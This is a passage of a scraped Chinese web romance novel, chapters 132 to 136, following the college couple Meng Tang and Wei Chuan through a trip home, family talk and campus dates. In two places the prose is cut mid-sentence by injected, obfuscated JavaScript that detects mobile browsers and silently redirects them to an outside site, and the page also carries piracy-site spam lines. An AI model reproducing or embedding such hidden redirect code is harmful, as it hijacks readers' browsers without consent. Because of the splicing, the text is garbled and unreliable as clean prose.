魏川拿过孟棠的行李,带着她去餐厅吃早餐。 他们要在九点登船离岛。 可今天孟棠却不太对劲,从上船开始,就晕晕乎乎的难受。 谢泠音皱着眉说:“不会是晕船吧?可来的时候挺好的啊。” 许鹤清:“晕船和晕车都差不多,心理身体都有变化,还有船的行驶状态可能也略有不同。” 孟棠觉得是自己昨晚睡得太迟,早上起来她就不舒服。 魏川的心碎了一地,他揽着孟棠,小心翼翼道:“要不躺一下?闭着眼睛看看呢?” 孟棠难受到头都不能抬一下,不然总有要吐的感觉,脖颈僵硬到只能维持一个姿势。 她依偎进魏川的怀中,半歪着躺了下去。 魏川支起腿,尽量将她垫高。 海风吹散她的长发,他用指尖拂开,温柔至极。 孟棠闭着眼睛,将头往魏川的怀里埋。 他的身上有一股很好闻的清新,可以短暂地抑制住恶心。 魏川垂眸盯着孟棠看,半晌舍不得移开视线。 他揉了揉她的脸,问:“要不要含一颗柠檬糖?听说吃酸的可以抑制恶心感。” 孟棠点了点头:“嗯。” 魏川从包里拿出一颗,直接塞进她口中,还提醒了声:“侧着点躺,别把糖滑下去了。” “嗯。”孟棠小小应了声。 魏川拿出手机,给他大姐打了个电话。 刚接通,魏思嘉就不耐烦道:“马上要开会,什么事?” 魏川说:“帮我在螺洲岛的码头搞辆车,舒适一点的,孟棠晕车。” “知道了。” 孟棠一下睁开了眼睛:“我们不坐高铁?” 魏川摇了摇头:“不跟他们挤了,你这样,我很难受。” 孟棠抿了下唇,抱住了魏川的腰。 魏川的通话,其他人也听见了,石岚和杨可对视一眼,眸中满满都是羡慕。 一个多小时很快就过去了。 下船时,一辆全黑的商务车在等着,司机迎了上来。 魏川搂住虚弱的孟棠,转头跟许鹤清说:“我就不跟你们一起了?” 本小章还未完,请点击下一页继续阅读后面精彩内容!许鹤清摆了摆手:“走吧,你们开车慢,说不定还是我们先到。” 魏川笑了声:“她坐着舒服就行,我们先走了?” “嗯,拜拜。” 魏川将孟棠扶上车,给她系上了安全带。 又给她拿出保温杯,倒了点温水堵至她的唇边:“喝一点。” 孟棠嚼碎了柠檬糖,将杯盖里的温水喝完了。 “怎么样?还难受吗?” 孟棠摇摇头:“下船的时候就好多了。” 魏川拍了拍她:“闭上眼睛睡会儿,要四五个小时才能到z市。” “好。”孟棠抓住他的食指,朝他笑了笑。 魏川就这么任由她抓着,另一只手拿着手机玩。 没一会儿,孟棠就睡着了。 魏川转过头,发现她下眼睑泛着淡青色,一看就是昨晚没睡好。 他抽出手指,反包裹住孟棠的手,就这么牵了一路。 中午十二点多,他们在一处服务区停了下来。 魏川叫醒孟棠,问她要不要吃东西。 孟棠说:“下车看看吧。” 她感觉好多了,下去透个气。 这边的服务区还是不错的,里面跟个商场似的。 孟棠和魏川寻了一个清淡口味的餐厅,至于司机,饭食会自己解决。 吃了一顿午餐,孟棠的气色明显变好。 魏川看了眼时间,说:“还早,要不要去逛一逛?” “行。” 孟棠还没逛过服务区。 但其实她没有什么要买的东西,直至从东逛到西,发现了一个现做的梅花糕。 魏川见她停下,转头问:“你要吃啊?” 梅花糕泛着热气,混着桂花糖的香气,孟棠莫名吞了下口水,点了点头。 魏川指了指身后某个位置:“那你先去歇着,我去买。” 孟棠应了声,转头往中间的休息艺术装置的凳子边走,走到一半,被陀螺椅吸引了。 有个小朋友坐在上面玩,玩得不亦乐乎。 小朋友玩的是小号的,旁边还有两个大号的。 “姐姐,你要玩吗?”小朋友很可爱,邀请孟棠一起。 孟棠问:“这个会晕吗?” “不会的,你腿那么长,可以自己控制啊。” 孟棠信了她的话,等自己坐上去,才发现不是那么回事。 她整个人溜进椅子里,陀螺椅转起来,吓得孟棠死死抓着边缘。 关键是她停不下来。 孟棠无奈,只好喊:“魏川。” 魏川拎了梅花糕,头看到自己的女朋友玩起了陀螺椅,还停不下来,胸腔震出一丝宠溺又无奈的轻笑。 他赶紧跑过去,抬脚将椅子拦下,将她从里面拉了出来。 一旁的小朋友哈哈大笑,嘲笑孟棠这么大人了不会玩。 孟棠羞愤欲死啊,推了推魏川:“赶紧走。” 魏川将梅花糕给她,给小朋友做了个鬼脸。 再敢笑! 两人回到车上,孟棠还没从丢脸的情绪中回神。 魏川觉得好笑,说:“我房间也有一个这样的椅子,想玩下次去我家玩。” 孟棠咬了口梅花糕,说:“不玩了。” 魏川捏了下她的脸:“怎么这么可爱?” 孟棠拍开他的手:“让司机走吧。” 魏川给司机说了声,车辆再次启动。 孟棠的手机跳出一条消息,是谢泠音在群里问她到哪儿了。 孟棠回:【还有两个多小时。】 谢泠音:【怎么样?还晕车吗?】 孟棠:【好了,早上那会儿不太舒服。】 谢泠音:【把你被子拿出去晒了。】 孟棠:【谢谢。】 两小时二十分钟后,车辆抵达z大东门。 魏川一手拎着行李箱,一手牵着孟棠,把她送回女生宿舍。 这会儿还是放假,学校里的人很少,一路走来都碰不到一个人。 魏川说:“我明天恢复训练,今晚要回去一趟,明天再来找你。” 孟棠说:“你忙你的,有时间总能见面的。” “可时间很少。”魏川小声嘟囔。 他除了上课,还要训练,马上全国赛,训练强度和前面不一样。 而且他现在谈恋爱了,要是因为这个没心思训练,老贺准得骂得他狗血淋头。 若是打得不好,一些激进的球迷会怪他谈恋爱耽误了训练。 所以,有了孟棠,他要更加紧迫。 “我有时间,一定会去找你,好吗?”孟棠哄着他。 魏川开心了,将箱子给她:“那就这么说定了。” 孟棠接过箱子就要走,被魏川一把拦住:“你是不是忘记了什么?” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第133章 就穿睡衣呗 孟棠抓着箱子,眼里全是迷茫。 她忘记了什么? 魏川一看就知道不能指望她了,左看看,右瞧瞧,发现四周没人,猛地上前亲了下。 孟棠整个人被他亲得往后趔趄。 魏川稳住她,轻笑了声:“走了。” 孟棠愣了好几秒才返回寝室。 谢泠音见她回来,说:“回来了,晚饭咱们吃什么?” 孟棠摇摇头:“我先收拾行李吧,在服务区吃了点东西,一点都不饿。” 石岚从外面回来,看到孟棠时一愣,说:“我看见魏川坐车走了,他不是就三天假吗?” 孟棠说:“回家了。” “我看见他发朋友圈了。”杨可靠着椅背,笑了声,“是不是很开心啊?” 孟棠呵笑:“重要的不是朋友圈,重要的是,他没有屏蔽家里人。” “我靠。”石岚震惊了,“这就说了?” 谢泠音也惊讶了一瞬:“我听许鹤清说,他家庭氛围很好的,魏川既然坦荡,你也别太担心。” “我倒是没想太多。”孟棠将空箱子立在墙边,罩上防尘罩,“就是一开始有点惊讶,后来一想,谈恋爱而已,又不涉及家庭。” 谢泠音点点头:“也是,这才大二,谁知道毕业了会不会分道扬镳。” “泠音,你也太悲观了。”杨可啃着桃儿,说,“这话要是让许鹤清听见,准得又跟你吵,你再把孟棠带坏了,魏川再跟你没完。” 谢泠音笑道:“谈恋爱归谈恋爱,还得保持一根清醒的神经的,孟棠和魏川刚谈,确实也不适合扯到家庭,那是结婚才会谈到的事,我觉得她没说错。” 孟棠表面端得稳,听到“结婚”两个字时一愣。 她会和魏川结婚吗? 大学里的恋爱很少能走到一起的,一般毕业会分道扬镳。 而她,是注定要回雁清的。 她的使命在那儿。 对孟棠来说,将黄杨木雕这门传统手工艺传下去很重要,超越任何事。 她自己和这件事相比,也是微不足道的。 可魏川家境殷实,两人的家庭悬殊过大,谈恋爱或许可以,但结婚,恐怕很难。 孟棠突然有些烦躁,拿出手机看了眼,想给魏川打电话,又放了下来。 魏川一脚迈进家里的挑高大客厅,被满屋的人吓了一跳。 “我去,你们不会都在等我吧?” 魏思沅幸灾乐祸:“我谈恋爱可是都交代了,现在轮到你喽。” “嘁。”魏川走过去,故意把她往一旁撅去,“往那边让让。” 魏思沅气急:“爸,你看他。” 魏立峰闭了闭眼:“你俩能不能有一天是和平相处的?” 魏思沅翻了个白眼,往旁边挪了挪。 魏川朝她得意一笑,整个人往沙发上吊儿郎当地靠着。 二郎腿刚要翘起来,被楚茵拍了下:“能不能有点坐相?” 魏川放下腿,说:“你们都谈完了,叫我回来干什么?我明天还要训练呢,晚上要回寝。” 楚茵问他:“你谈恋爱了?” “是啊。”魏川丝毫不隐瞒,“你们不都看见了吗?” 魏思沅又点进魏川的朋友圈,说:“她叫什么名字啊?你眼光不错嘛,挺漂亮的。” 魏川嘚瑟道:“漂亮只是她最不起眼的特点,看见我床头的木头摆饰没,那是她雕刻的。” 魏立峰转了眉眼:“你那个东西是小丫头雕刻的?” 魏川:“是啊,您认不认识孟遇春?黄杨木雕的大师,是孟棠的爷爷。” 魏立峰思忖了会儿:“有点眼熟。” “付寒松您认识吧?木雕协会的副会长。”魏川坐直身体,“他对孟棠可是赞不绝口,孟棠之前被误会,也在网上力挺,而且他和爷爷以前有点交情。” 这么一说,魏立峰就知道了。 但他还是很惊讶孟棠有这样的手艺。 “她叫孟棠?”魏川问。 魏川点点头:“孟子的孟,海棠的棠。” “棠属木,这个名字也算跟她的手艺相称。”魏立峰对于魏川谈恋爱没什么意见。 魏川朋友圈的照片他也看了,女孩看上去沉静坚韧。 听魏川这么一说,大概率跟她自小学手艺有关系。 内敛谦和不张扬,和魏川外放的性子正好互补。 魏立峰笑了笑,竟还有点满意。 他嘱咐魏川:“谈恋爱是你自己的事,不要欺负人家就行,你要是觉得合适,谈个一年半载的就可以带回家看看。” 其实他现在就想见见,但又怕吓到人。 魏川勾了勾唇:“好嘞,那我走了?” “走什么走。”楚茵将人拦下,“吃完饭再走。” 魏川说:“那你让厨房做一盒曲奇我带着。” 楚茵一愣:“你不是不爱吃的吗?” “妈,您真不解风情。”魏思沅吐槽,“他那是给自己吃的吗?” 楚茵也反应过来了,叫了声阿姨,让厨房去准备。 “我那边还有一些从国外带回来的巧克力。”魏思沅抵了抵魏川,“要吗?” 魏川点点头:“当然要了。” 魏思沅嘿嘿一笑:“那你有空带姐姐看看你女朋友呗。” 魏川转头,跟她斗嘴:“那我还是不要了。” 魏思沅白了他一眼:“拿去拿去,我迟早会见到。” 魏川哼了声:“我还不了解你,你要是敢去我们学校,我就把你黑历史放网上去。” “你——”魏思沅指着他,恨得牙痒。 楚茵“啧”了声:“你俩能不能不吵了?” 魏川把目光落在楚茵身上,说:“妈,你也是。” 楚茵迷茫地看着他:“我也是什么?” 魏立峰看得想笑,说:“他让你不要私底下去学校找他女朋友。” “我是那种人吗?”楚茵觉得无语。 魏川斩钉截铁:“你是。” “白眼狼。”楚茵白了他一眼,转头问魏立峰,“我是吗?” 魏立峰不太想惹起家庭矛盾,起身说:“我去厨房看看。” 楚茵更无语了:“八辈子没进过厨房的人,突然进厨房要干什么?” 魏思沅也跟着起了身:“妈,我打个电话。” 楚茵看向魏川,魏川朝她耸了耸肩:“大家都是这么认为的。” 楚茵指了指他。 魏川卖乖地笑了笑,楚茵拿他没办法。 魏川拿出手机,打开微信,给孟棠编辑了一条信息:【吃晚饭了没?】 那边没回,魏川等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946616|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不及,直接给孟棠打去了电话。 孟棠刚把被子铺好,就听到了微信的提示音,她手机还没拿到,铃声又响了起来。 这么等不及,除了魏川不会是旁人。 下床一看,果然是他。 孟棠接了手机:“喂。” “怎么没回我信息?”魏川问。 孟棠:“……你发信息到打电话,间隔都没一分钟。” “呃……”魏川语塞,“我就是问问你吃饭没?” 孟棠坐下,说:“没吃呢。” “怎么不去吃?是不是懒得下楼?”魏川软言软语,“待会儿回去给你带?” 孟棠说:“下午,我将你买的梅花糕都吃了,真的不饿。” “不吃了?”魏川蹙眉,“夜里饿了怎么办?” “可现在确实不饿。”孟棠转移话题,“你今晚回来吗?” 魏川:“回,明早训练。” 孟棠往窗外看了眼,提醒他:“回就好,刚才看了眼天气,明天好像有雨。” 魏川以前对下雨没什么所谓,但现在不太一样了。 他清了清嗓子:“下就下呗,我还挺喜欢下雨的。” 以前也没听过他喜欢下雨天,孟棠莫名想到两人第一个稀里糊涂的吻。 她摸着小鱼筷托,说:“不跟你说了,我得去洗澡了。” “哎等一下。”魏川赶紧叫住她,“我从家里给你带点吃的,回学校的时候给你打电话,你到时候下来拿?” 孟棠一怔,试探地问了句:“你跟你家里人都说了?” “是啊。”魏川正大光明,“有什么问题吗?” 孟棠顿了下,说:“那……他们有没有说什么?” 魏川:“没人说什么,就是我爸他说了两句。” “什么?”孟棠的心一下吊到了嗓子眼儿。 魏川失笑:“说等时机成熟,让我把你带回家。” 孟棠神色怔愣:“你别是在诓我。” “我诓谁也不能诓你。”魏川说,“他真这么说的,你还记得木雕协会的付寒松吧?” 怎么跟付寒松扯上关系了?孟棠回答:“记得。” 魏川说:“不是跟你说过嘛,他跟我爷爷有点交情,我家老头以前也爱捣鼓木雕这些东西。” “我爸自然也有印象的,对你爷爷的名字很耳熟,我大概知道他在想什么,肯定觉得我俩性格互补,错不了。” 孟棠:“别的都没说吗?” “要说什么吗?”魏川没太理解她的话,“还是你想说什么?” 孟棠赶紧说:“我没要说什么,不早了,你先去吃饭吧,等你回学校再找我。” “好。” 孟棠挂了电话。 魏川估计还要等会儿才会回来,孟棠将项链取下,抱着衣服进了卫生间。 洗完澡,她在正儿八经的衣服和睡裙之间来回摇摆。 谢泠音看笑了,问:“你干嘛呢?” 孟棠朝她眨了眨眼:“魏川待会儿过来。” 谢泠音失笑:“你要是下楼见一面就穿睡衣呗,套个外套,大晚上的,谁能看见。” 孟棠说:“他就送个东西。” 谢泠音:“那你就穿睡衣,你这睡衣跟平时的棉裙差别也不大。” 孟棠听谢泠音的话,拿了睡衣。 第134章 别拒绝 孟棠换了衣服,又慢悠悠将长发吹干。 发梢依旧泛着潮气,好像怎么也吹不干似的。 桌上的手机响起,孟棠见是魏川,直接开了免提,说: “你稍微等我一下,我穿个袜子。” “我不急。”魏川的声音经过无线电波的加载显得低沉又温柔。 孟棠拨了下长发,穿上袜子,趿着拖鞋出了寝室的门。 楼下空无一人,只有悠悠晃晃的树影和灯光。 魏川靠着路灯,一直盯着女寝的门口。 没一会儿,一块香香软软小蛋糕走了出来。 魏川看直了眼。 白裙白袜,长发披散,长款米色针织裹着孟棠全身。 简直白月光下凡,魏川的掌心擦过心口,欲盖弥彰似的朝孟棠笑了笑。 孟棠也朝他露出一个笑,随后伸手:“给我带了什么?” 魏川没把东西给她,把手牵了上去。 孟棠一愣,抬眸看着他。 魏川将她往自己跟前拽了下,垂眸直视她的眼睛:“还早呢,去转转?” 孟棠犹豫了两秒,点了点头。 五月的天气已经不冷了,孟棠穿着外套,手心都是热的。 两只手牵在一起要冒火似的,两人都不说一句要松开的话。 女寝正门太亮,后面连接训练馆的那条道上,有一条很长的紫藤长廊。 魏川带着孟棠,不知不觉走到了那里。 进了廊下,他将东西搁在水泥墩上,脱了外套铺展在一旁,搂过孟棠的腰坐了下来。 路灯被紫藤挡了大半,光线明明灭灭,落在两人身上,镀上一层暧昧的薄影。 孟棠看了看四周,总有一种不好的预感。 “干嘛?”魏川直勾勾盯着她,“我还能吃了你?” 孟棠摇了摇头:“没有。” “明天要训练。”魏川拉过她的手,握在掌心里搓揉,“没时间见面,只能今晚见见,给我充充电。” 孟棠抬眸:“训练到很晚吗?” “看教练安排。”魏川说,“全国赛快开始了嘛。” 孟棠:“具体什么时候,知道吗?” 魏川说:“具体时间还没通知下来,但我们教练猜测是六月中下旬,比往年迟了一个月。” 孟棠又问:“你们这个比赛是不是要换地方?” 魏川点了点头:“32进16的单场淘汰制,一般集中在一个地方;八强赛就是主客场制,两个回合。” “那如果进了决赛呢?” “决赛的话一般在中立城市举行,今年估计要到七月中下旬结束比赛。” 那会儿已经放暑假了,孟棠说:“那我到时候跟着你跑,看你比赛。” 魏川摸摸她的头:“来回跑很累,你可以先回家,32进16也没什么好看的,回去看直播,等决赛再过来。” 孟棠还以为他一定会要求她在现场,毕竟之前,不管是基层赛还是分区赛,他都有请求她去看。 一时有些诧异,问:“八强赛也不去吗?” 魏川摇摇头:“太热了,等决赛过来,比赛一结束,咱们飞香港。” “啊?”孟棠愣了下,“真的要去啊?” 魏川好笑地看着她:“谁跟你开玩笑了,我今晚过来,除了给你送吃的,就是想让你赶紧办通行证,那个也快,七天就能办下来了。” 语气没有一丝开玩笑,这事还是自己曾经提起过的,魏川将它放在了心里。 孟棠点了点头:“好吧。” 其实她这个人比较宅,心里向往去一个地方,也只是想想,真让她做出相应的行动,她又懒得去。 听语气不太情愿呢,魏川撑在她身后的手臂拢住孟棠的腰,一个使劲,将人抱进怀中。 身高差的原因,他只能勾着头去看她的表情。 “不愿意去啊?” “没有。”孟棠小声回道,“就是觉得比较麻烦。” 魏川耐着心问:“什么麻烦?” 孟棠说:“就是觉得出去玩是一件很累的事,要带很多东西,日均两万步——” 魏川失笑着打断她:“我还以为是什么事,有我在,不会让你累着,咱们又不是花钱买罪受,当然是想玩就出去,累了就歇息,难道我会让你赶场子似的玩?” “知道了。”孟棠晃了下他的手臂,“去去去。” 洗完澡的孟棠,浑身散发着清甜的香味,魏川被她一晃,魂都没了。 他下意识拉住孟棠的手,抓着她的指尖翻来覆去地玩。 孟棠想要抽回,他又追逐着抓住了她的手指。 “我要回去了。”孟棠说,“你也回去早点休息。” “等一下。”魏川根本还不想分开,“你明天打算做什么?” 孟棠晃了下脑袋:“我明天打算去剪头发,太长了。” 魏川一只手按住她两只手,空出一只手顺了下孟棠的长发,问:“打算剪多少?” 孟棠回他:“稍微剪短一点吧,肩膀下方。” 魏川一愣:“那不得下去一半?” “又不是不长了。”孟棠说,“现在确实有点长了,每次吹头发都耗费大量的时间,还总是吹不干。” “行。”魏川拿出手机,给她转了1314。 孟棠一愣:“给我转钱干什么?” “没办法陪你去,只能给钱了呗。”魏川实在没忍住,俯身亲了下她,“别拒绝,李卓为了给文心予买更好的相机,省吃俭用一整年,我有为什么还不给?” “可——” “没什么可是不可是的。”魏川说,“你去问问看,哪对谈恋爱的男生不花钱,许鹤清也没少在谢泠音身上花,我坚决不能让他们给比下去,否则我面子往哪儿搁?” 其实一千多块钱对他来说九牛一毛,他又怕孟棠不要,才转了这么点。 魏川捧起她的脸,温柔地说:“明天让你室友陪你出去剪头发,嗯?” 孟棠点了点头。 魏川没忍住,在她鼻尖上亲了下,随后揉了揉她发烫的耳朵:“走吧,送你回寝室。” 孟棠起身,捞起魏川的外套。 魏川穿上后,拎起了给孟棠的东西,说:“里面是家里阿姨做的曲奇,还有我三姐在国外带回来的巧克力,份量挺多的,够你回寝室分的。” 孟棠抿了下唇:“谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958436|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢。” 魏川无奈一笑:“傻子吧你,跟我有什么好谢的。” 孟棠又被拍了头,她反手拍了下魏川。 魏川一只手圈着她脖颈,跟她打闹:“反了你了。” 孟棠笑着拍了拍他的手臂:“很重。” 魏川稍稍抬了下胳膊,就这么搂着她脖子走。 两人在寝室门口道了别。 孟棠回去的时候,显然又被另外三人八卦了。 她只能拿饼干和巧克力去堵她们的嘴。 等一个个都吃上了,孟棠才说:“我明天去剪头发,你们去吗?” 谢泠音摸了下自己的发尾:“有点分叉,剪就剪呗。” 石岚和杨可纷纷跟上:“加1。” 翌日上午,四个人垫了一口饼干,打车去了市中心。 他们有固定的理发店,还是大一的时候,谢泠音烫坏了头发,大三学姐推荐的一家店。 价格略高,但效果确实可以,也不会乱七八糟的听不懂人话。 孟棠不爱做头发,因为一坐就是几小时。 她只能接受剪发的时间。 剪掉了三分之一,又修了个有层次的头发,竟然也坐了两三个小时。 从理发店出来,脖子都是酸的。 可路过商铺店面,她又情不自禁去看人家的玻璃门。 谢泠音好笑地抵了抵她:“好看,魏川看见能迷死。” 孟棠笑了笑:“剪头发挺奇妙的,剪完后,有一种全身轻松的感觉。” “同感。”谢泠音说,“接下来去哪儿?吃饭吗?” “吃,快饿**。”石岚捂着肚子,“但是不知道吃什么。” 杨可指了指前面:“要不过马路去吃烤鱼吧。” “不想吃。”谢泠音说,“太辣了。” 石岚说:“直接去商场吃自助得了,什么都有。” 其他三人瞬间同意了。 进了商场,刚到楼上坐下,孟棠的手机响了声。 见是魏川,她笑了笑。 这个点,他肯定在吃饭,顺道给她发了条信息。 内容平常,只是问她干什么。 孟棠回复:【剪完头发了,在吃饭。】 魏川:【吃的什么?】 孟棠:【自助。】 魏川:【那给我拍张照片吧,看看你新发型。】 孟棠:【不要,见了面就可以看到了。】 魏川:【行吧,晚上六点半,到南区的餐厅给我见一下。】 孟棠:【……行。】 魏川那边没聊两句就断了,孟棠开始和室友吃饭。 下午还有大半天,杨可不想回寝室,提议道:“要不咱们下午去看电影?” 孟棠抬眼:“现在有什么好看的电影吗?” 杨可:“有啊,刚上映的,不知道好不好看,就当打发时间了呗。” 孟棠点了点头:“六点半能到学校就行,我晚上约了魏川。” “知道咧。”杨可故意搞怪,“我来搜一下,先把票买了。” 一场电影两个小时,看完又逛了逛。 打车回学校的时候,正好是六点。 孟棠将买的东西给谢泠音带回寝室,自己转头去了餐厅。 第135章 川哥,你女朋友来了 一群男生出了餐厅,还没到跟前,孟棠就听到了一阵嬉闹声。 她寻着声音走过去,田聿和邵一鸣领头起哄: “川哥,你女朋友来了。” 落后一步的魏川推开田聿,抬手一挥,示意他们先走。 等人走完,他才顺着孟棠的头发摸了把:“挺好看的,感觉更温柔了点。” 孟棠撩了下头发,调侃道:“这下洗头都省水了。” 魏川牵住她的手,说:“还有点时间,走走?” “好。” 走出没两步,魏川倏地晃了下她的手:“这个点,你吃饭了没有?” “吃了。”孟棠跨下台阶,“看完电影就吃了。” 魏川这个时间点见到人已经很开心了,故意慢着步子,和她闲聊,哪怕是几句日常,也足够了。 路过奶茶店时,魏川将孟棠拉过去:“喝不喝?” 招牌霓虹格外醒目,里面三三两两坐了几个学生。 孟棠点了点头。 两人来到点单台前,魏川见她犹豫,也没催促,打开了微信扫码,准备付钱。 孟棠转头问:“你喝什么?” 魏川说:“柠檬水就行。” 孟棠转头对店员说:“一杯柠檬水,一杯多肉葡萄吧。” 店员:“一共18。” 魏川扫码付了钱,和孟棠一起等了会儿。 没人排队,几分钟就做好了,魏川接了奶茶,带着孟棠往里走。 里面的几张桌子都是靠窗的,两人在最后面的小沙发上坐下。 魏川人高马大,坐下去时感觉沙发都塌陷了。 孟棠怔了下,不敢坐实了,跟他说:“要不你坐对面?我怕把人家沙发坐坏了。” 魏川轻笑:“坏了就赔一个呗,反正我不去对面坐。” 他喜欢和孟棠贴着坐。 孟棠起身:“那我去对面坐。” 魏川抬起腿,将她拦下,随后拿过奶茶,替她插上吸管递过去: “喝吧,坐不坏的。” 孟棠无奈地坐下,咬着吸管喝了口,葡萄的酸涩清甜瞬间蔓延在唇齿间。 腮帮子鼓起来很可爱,魏川盯着她,问:“好喝吗?” 孟棠眯了眯眼,眼尾挤出浅淡的笑意:“好喝,要尝一下吗?” 魏川抬眸看了眼,见没人注意到他们这边,倾身飞快地啄了下孟棠的唇。 孟棠一愣,张着嘴半天不知道说什么。 再看魏川,已经嘚瑟地喝了半杯柠檬水。 孟棠回过神,在他胳膊上拧了一把。 魏川龇牙咧嘴地讨饶:“我错了我错了。” 孟棠哼了声,转头不再理会他。 魏川贱兮兮地凑过去,问孟棠:“明天有课吗?” “满课。”孟棠瞥了他一眼,“你呢?” 魏川说:“基本课程学习,余下时间都要训练,大概没什么时间见面。” 孟棠说:“没关系,我还得去博物馆呢。” 魏川蹙了蹙眉:“什么时候能结束?” 孟棠说:“大概你比赛的时候。” 魏川心不在焉地点了点头。 孟棠知道他不爽李寒津,悄悄勾住他的手指头捏了下。 魏川见她卖乖,眸光忽然一暗。 偏偏某些人无知无觉。 他倏地起身,拉起孟棠就走,孟棠眼疾手快拿了奶茶。 “去哪儿……魏川,你慢一点。” 魏川转头停下,一把将她抵在奶茶店的后墙上。 孟棠身体一僵就要挣扎。 魏川按住她的双手:“别动。” 暮色跌落进奶茶店后墙的一片小树林,两人的影子亲密地叠在一起。 孟棠几乎忘了呼吸,下意识捏紧了奶茶杯,发出细微的嘎吱嘎吱的声响。 “你要干嘛?” 魏川没说话,整个人流淌在阴影里,像一座迫人的山。 他明知道孟棠去博物馆是为了观音像,明知道孟棠不喜欢李寒津,明知道自己没有理由阻止。 可乱七八糟的情绪还攫取着他每一根神经。 可能是有全国赛即将到来的焦躁,也有刚谈恋爱想时时刻刻黏着对方的心。 魏川低下头,掌心覆盖住孟棠的脸,让她跟自己对视。 “看你可爱,突然想亲一下。” 孟棠松了口气,刚要开口,就被堵住了唇舌。 魏川害怕自己再不亲,会为了李寒津和孟棠吵架。 与之前所有的吻都不一样,这一次,魏川吻得又深又急。 孟棠被吓了一跳,抬手挡住他胸膛。 魏川的指腹故意拨她耳朵,孟棠半边身体一麻,被他捞住了腰,才没腿软摔下去。 孟棠去推他的胸口,指尖触到他温热皮肤下硬实的肌肉,又猛地缩了回去。 她这点小力气就像落入湖面的石子,泛不起两圈涟漪。 而互相喜欢的两个人,深吻之下像被酒精熏晕了头,脑袋空空,心脏满满。 魏川将孟棠紧紧地圈在怀里,另一只手扣住她的后颈,不让她有丝毫躲闪的余地。 孟棠实在站不住了,呜咽出一声迷糊的求饶。 魏川渐渐放缓了力道,辗转厮磨间间,温柔下来。 葡萄的甜涩只剩下一点点清甜,全都被他吞入腹中。 直至肺部的空气快要被抽吸干净,孟棠才被缓缓放开。 她已经懵了,没经历过这样激烈的吻。 甚至,唇部麻到失去了知觉。 魏川抱着她还没松手,让她靠在胸腔缓了又缓。 孟棠想要捶他的力气都没有,眼尾泛着可怜的水光,一个劲地将气息喘匀。 长久的沉默让孟棠染上几分羞耻,她推了下魏川,想说自己回寝室了。 可一开口才发现哑了一截,顿时闭了嘴。 被人亲到说不出话来,也是人生头一次的体验了。 魏川轻笑一声,捧起她的脸:“我送你回去?” 孟棠算是发现了,他就喜欢捧脸。 她抿了抿唇,说:“你刚才……有点凶。” “对不起。”魏川秒接道歉,“没憋住。” 孟棠说:“感觉你的情绪在某一个瞬间被点燃了,然后这把火烧到了我。” 魏川惊叹于她敏锐的直觉,说:“我不想干涉你。” 他没有明说,孟棠却懂了。 她无奈地推了下魏川,说:“还有一个月就结束了,你得让我善始善终。” “知道了。” 孟棠突然觉得嘴巴有点干,举起奶茶,将最 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“怎么?谈恋爱比比赛重要了?” “没有。”魏川知道自己不能反驳,不然老贺会让加恼火。 邵一鸣看不过去,小心翼翼地说:“教练,他不是来了嘛,也没迟到几分钟,要不咱们先训练?” 贺教练冷笑一声:“全体注意,因为魏川同学的个人原因,今天训练量加倍,现在,每人五十组折返跑,一百个三分投篮。” 魏川:“……这是我一个人的错,您罚他们干什么?” 贺教练看向魏川:“不急,你也有节目,接下来半个月,每天提前一个小时过来球馆打扫卫生,训练结束,你再加倍罚球,现在开始热身。” 魏川只能接受惩罚。 老贺一直在旁边看着他们训练,见魏川没什么失误,也心甘情愿受罚,歇了找孟棠的心思。 臭小子乍一下谈恋爱肯定新鲜着呢,巴不得整天跟人家腻在一起。 他倒是不反对谈恋爱,但反对一切训练迟到的理由。 孟棠不知道自己逃过了一劫,回到寝室后因为红肿的唇被调侃了半天。 她无言以对,感觉和魏川见了这么一会儿,光亲了。 翌日周一,孟棠换了套灰不溜秋的衣服去了雕塑工作室。 今天大人体塑造,弄脏衣服是肯定的,大家默契穿一身灰。 即便如此,孟棠还是带了围裙。 雕塑室的围裙全都脏了,放假之前被她扔进了垃圾桶,因为洗也洗不干净。 专业课上一半,辅导员忽然在群里艾特了孟棠,让她去一趟办公室。 谭曦问她:“又是啥事?” 孟棠摇摇头:“不知道啊。” 谭曦:“那赶紧去吧。” 孟棠去了行政楼,好几个人背对着她挤在走廊里,但她只看清了鹤立鸡群的魏川。 而李寒津侧着身体,一身西装革履地站在一旁。 孟棠大概猜到了辅导员叫她来的原因。 肯定是李寒津打了魏川这件事,今天学校要进行处理。 第136章 我想你了 孟棠走过去,叫了声:“魏川。” 魏川一回头,看到了灰扑扑的女朋友。 他倏地笑出声:“怎么这样子过来了?” 孟棠说:“我在上课呢,一手的泥都还没洗干净。” 魏川刚要去牵她的手,一个老师从屋里出来,叫他们进办公室谈。 孟棠和魏川坐一起,魏川旁边就是贺教练。 百叶窗半掩着阳光,使得屋内有些暗。 贺教练脾气一向急,直接敲了敲桌子:“这件事是明摆着的,有人打我球员,就看学校怎么处理吧,也不用多费口舌,我们魏川还要训练呢,时间不等人。” 魏川大喇喇坐着,手臂搭在孟棠身后的椅背上。 贺教练在底下踢了踢他,示意他正经一点。 魏川坐直了,手却没拿开。 李寒津来美院当顾问,这事跟陈洵礼有直接的关系。 所以这事,他得在场处理。 他两边都很为难,因为李寒津打魏川是事实,视频都满天飞了。 